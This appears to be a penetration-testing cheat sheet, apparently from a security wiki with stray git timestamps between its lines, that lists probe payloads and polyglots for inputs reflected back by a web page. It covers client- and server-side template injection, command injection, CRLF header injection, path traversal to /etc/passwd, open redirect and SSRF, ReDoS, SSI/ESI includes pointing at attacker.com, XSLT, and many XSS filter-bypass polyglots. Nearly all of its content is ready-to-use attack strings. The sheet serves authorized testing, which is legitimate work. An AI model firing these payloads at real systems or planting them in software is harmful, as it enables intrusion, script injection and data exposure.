2021-06-25 19:22:16 +00:00
# Reflecting Techniques - PoCs and Polygloths CheatSheet
2021-06-25 16:39:43 +00:00
2021-06-26 12:11:00 +00:00
The goal of these PoCs and Polygloths is to give the tester a fast **summary** of vulnerabilities he may exploit if his **input is somehow being reflected in the response** .
2021-06-26 12:03:36 +00:00
2021-06-26 12:11:00 +00:00
{% hint style="warning" %}
This **cheatsheet doesn't propose a comprehensive list of tests for each vulnerability** , juts some basic ones. If you are looking for more comprehensive tests, access each vulnerability proposed.
{% endhint %}
2021-06-26 12:03:36 +00:00
2021-06-26 12:11:00 +00:00
{% hint style="danger" %}
You **won't find Content-Type dependant injections like XXE** , as usually you will try those yourself if you find a request sending xml data. You **won't also find database injections** here as even if some content might be reflected it depends heavily on the backend DB technology and structure.
{% endhint %}
2021-06-26 12:03:36 +00:00
2021-06-26 10:02:37 +00:00
## Polygloths list
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
2021-06-26 12:03:36 +00:00
< br > < b > < h1 > THIS IS AND INJECTED TITLE < / h1 >
2021-06-26 10:02:37 +00:00
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!-- #echo var="DATE_LOCAL" --> <!-- #exec cmd="ls" --> < esi:include src = http://attacker.com/ > x=< esi:assign name = "var1" value = "'cript'" / > < s < esi:vars name = "$(var1)" / > >alert(/Chrome%20XSS%20filter%20bypass/);< /s< esi:vars name = "$(var1)" / > >
{{7*7}}${7*7}< %= 7*7 %>${{7*7}}#{7*7}${{< %[%'"}}%\
< xsl:value-of select = "system-property('xsl:version')" / > < esi:include src = "http://10.10.10.10/data/news.xml" stylesheet = "http://10.10.10.10//news_template.xsl" > < / esi:include >
" onclick=alert() a="
'">< img src = x onerror = alert(1) / >
javascript:alert()
javascript:"/*'/*`/*--></ noscript ></ title ></ textarea ></ style ></ template ></ noembed ></ script >< html \" onmouseover = /*<svg/*/onload=alert()// >
-->'"/></ sCript >< deTailS open x = ">" ontoggle = (co \u006efirm)`` >
">>< marquee >< img src = x onerror = confirm(1) ></ marquee > " >< /plaintext\>< /|\>< plaintext / onmouseover = prompt(1) >< script > prompt ( 1 )</ script > @gmail.com< isindex formaction = javascript:alert(/XSS/) type = submit > '-->" ></ script >< script > alert ( 1 )</ script > ">< img / id = "confirm( 1)" / alt = "/" src = "/" onerror = eval(id&%23x29; > '">< img src = "http: //i.imgur.com/P8mL8.jpg" >
" onclick=alert(1)//< button ‘ onclick = alert(1)// > */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >< / SCRIPT > ">'>< SCRIPT > alert ( String . fromCharCode ( 88 , 83 , 83 ) ) < / SCRIPT >
```
2021-06-25 19:22:16 +00:00
## [Client Side Template Injection](client-side-template-injection-csti.md)
2021-06-25 17:01:56 +00:00
### Basic Tests
2021-06-25 16:39:43 +00:00
```text
{{7*7}}
2021-06-25 16:50:01 +00:00
[7*7]
2021-06-25 16:39:43 +00:00
```
2021-06-25 17:01:56 +00:00
### Polygloths
2021-06-25 16:50:01 +00:00
2021-06-25 17:01:56 +00:00
```bash
{{7*7}}[7*7]
```
2021-06-25 19:22:16 +00:00
## [Command Injection](command-injection.md)
2021-06-25 17:01:56 +00:00
### Basic Tests
```bash
2021-06-26 10:02:37 +00:00
;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
2021-06-25 16:50:01 +00:00
`ls`
$(ls)
2021-06-25 17:01:56 +00:00
```
### Polygloths
2021-06-25 16:50:01 +00:00
2021-06-25 17:01:56 +00:00
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
2021-06-25 16:50:01 +00:00
```
2021-06-25 19:22:16 +00:00
## [CRLF](crlf-0d-0a.md)
2021-06-25 17:01:56 +00:00
### Basic Tests
```bash
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
2021-06-25 16:50:01 +00:00
2021-06-26 12:03:36 +00:00
## Dangling Markup
### Basic Tests
```markup
< br > < b > < h1 > THIS IS AND INJECTED TITLE < / h1 >
```
2021-06-25 19:22:16 +00:00
## [File Inclusion/Path Traversal](file-inclusion/)
### Basic Tests
```bash
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
2021-06-25 19:23:35 +00:00
## [Open Redirect](open-redirect.md) / [Server Side Request Forgery](ssrf-server-side-request-forgery.md)
2021-06-25 19:22:16 +00:00
### Basic Tests
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
```
## [ReDoS](regular-expression-denial-of-service-redos.md)
### Basic Tests
```bash
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
```
## [Server Side Inclusion/Edge Side Inclusion](server-side-inclusion-edge-side-inclusion-injection.md)
### Basic Tests
```markup
<!-- #echo var="DATE_LOCAL" -->
<!-- #exec cmd="ls" -->
< esi:include src = http://attacker.com/ >
2021-06-25 19:23:35 +00:00
x=< esi:assign name = "var1" value = "'cript'" / > < s < esi:vars name = "$(var1)" / > >alert(/Chrome%20XSS%20filter%20bypass/);< /s< esi:vars name = "$(var1)" / > >
2021-06-25 19:22:16 +00:00
```
2021-06-25 20:23:31 +00:00
### Polygloths
```markup
<!-- #echo var="DATE_LOCAL" --> <!-- #exec cmd="ls" --> < esi:include src = http://attacker.com/ > x=< esi:assign name = "var1" value = "'cript'" / > < s < esi:vars name = "$(var1)" / > >alert(/Chrome%20XSS%20filter%20bypass/);< /s< esi:vars name = "$(var1)" / > >
```
2021-06-26 12:03:36 +00:00
## [Server Side Request Forgery](ssrf-server-side-request-forgery.md)
The same tests used for Open Redirect can be used here.
2021-06-25 20:23:31 +00:00
## [Server Side Template Injection](ssti-server-side-template-injection/)
### Basic Tests
```markup
${{< %[%'"}}%\
{{7*7}}
${7*7}
< %= 7*7 %>
${{7*7}}
#{7*7}
```
### Polygloths
```python
{{7*7}}${7*7}< %= 7*7 %>${{7*7}}#{7*7}${{< %[%'"}}%\
```
## [XSLT Server Side Injection](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
### Basic Tests
```markup
< xsl:value-of select = "system-property('xsl:version')" / >
< esi:include src = "http://10.10.10.10/data/news.xml" stylesheet = "http://10.10.10.10//news_template.xsl" > < / esi:include >
```
### Polygloths
```markup
< xsl:value-of select = "system-property('xsl:version')" / > < esi:include src = "http://10.10.10.10/data/news.xml" stylesheet = "http://10.10.10.10//news_template.xsl" > < / esi:include >
```
2021-06-26 10:02:37 +00:00
## XSS
### Basic Tests
```markup
" onclick=alert() a="
'">< img src = x onerror = alert(1) / >
javascript:alert()
```
### Polygloths
```markup
javascript:"/*'/*`/*--></ noscript ></ title ></ textarea ></ style ></ template ></ noembed ></ script >< html \" onmouseover = /*<svg/*/onload=alert()// >
-->'"/></ sCript >< deTailS open x = ">" ontoggle = (co \u006efirm)`` >
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//< /stYle/< /titLe/< /teXtarEa/< /scRipt/--!>\x3csVg/< sVg / oNloAd = alert()// > \x3e
">>< marquee >< img src = x onerror = confirm(1) ></ marquee > " >< /plaintext\>< /|\>< plaintext / onmouseover = prompt(1) >< script > prompt ( 1 )</ script > @gmail.com< isindex formaction = javascript:alert(/XSS/) type = submit > '-->" ></ script >< script > alert ( 1 )</ script > ">< img / id = "confirm( 1)" / alt = "/" src = "/" onerror = eval(id&%23x29; > '">< img src = "http: //i.imgur.com/P8mL8.jpg" >
" onclick=alert(1)//< button ‘ onclick = alert(1)// > */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >< / SCRIPT > ">'>< SCRIPT > alert ( String . fromCharCode ( 88 , 83 , 83 ) ) < / SCRIPT >
javascript://'/< / title > < / style > < / textarea > < / script > -->< p " onclick = alert()// > */alert()/*
javascript://-->< / script > < / title > < / style > "/< / textarea > */< alert ( ) / * ' onclick = alert()// > a
javascript://< / title > "/< / script > < / style > < /textarea/-->*/< alert ( ) / * ' onclick = alert()// > /
javascript://< / title > < / style > < / textarea > -->< / script > < a " / / ' onclick = alert()// > */alert()/*
javascript://'//" -->< / textarea > < / style > < / script > < / title > < b onclick = alert()// > */alert()/*
javascript://< / title > < / textarea > < / style > < /script -->< li ' / / " ' * / alert ( ) / * ' , onclick = alert()//
javascript:alert()//-->< / script > < / textarea > < / style > < / title > < a " / / ' onclick = alert()// > */alert()/*
-->< / script > < / title > < / style > "/< / textarea > < a ' onclick = alert()// > */alert()/*
/< /title/'/< /style/< /script/< /textarea/-->< p " onclick = alert()// > */alert()/*
javascript://-->< / title > < / style > < / textarea > < / script > < svg " / / ' onclick = alert()//
/< /title/'/< /style/< /script/-->< p " onclick = alert()// > */alert()/*
-->'"/></ sCript >< svG x = ">" onload = (co \u006efirm)`` >
< svg % 0Ao % 00nload = %09((pro \u006dpt))()//
javascript:"/*'/*`/*\" /*</ title ></ style ></ textarea ></ noscript ></ noembed ></ template > < /script/-->< svg / onload = /*<html/*/onmouseover=alert()// >
javascript:"/*\"/*`/*' /*</ template ></ textarea ></ noembed ></ noscript ></ title ></ style ></ script > -->< svg onload = /*<html/*/onmouseover=alert()// >
javascript:`//"//\"//</ title ></ textarea ></ style ></ noscript ></ noembed ></ script ></ template >< svg / onload = '/*--><html */ onmouseover=alert()//' > `
%0ajavascript:`/*\"/*-->< svg onload='/*</ template ></ noembed ></ noscript ></ style ></ title ></ textarea ></ script >< html onmouseover = "/**/ alert(test)//'" > `
javascript:/*-->< / title > < / style > < / textarea > < / script > < / xmp > < svg / onload = '+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//' >
javascript:"/*'/*`/*--></ noscript ></ title ></ textarea ></ style ></ template ></ noembed ></ script >< html \" onmouseover = /*<svg/*/onload=document.location=`//localhost/mH`// >
```
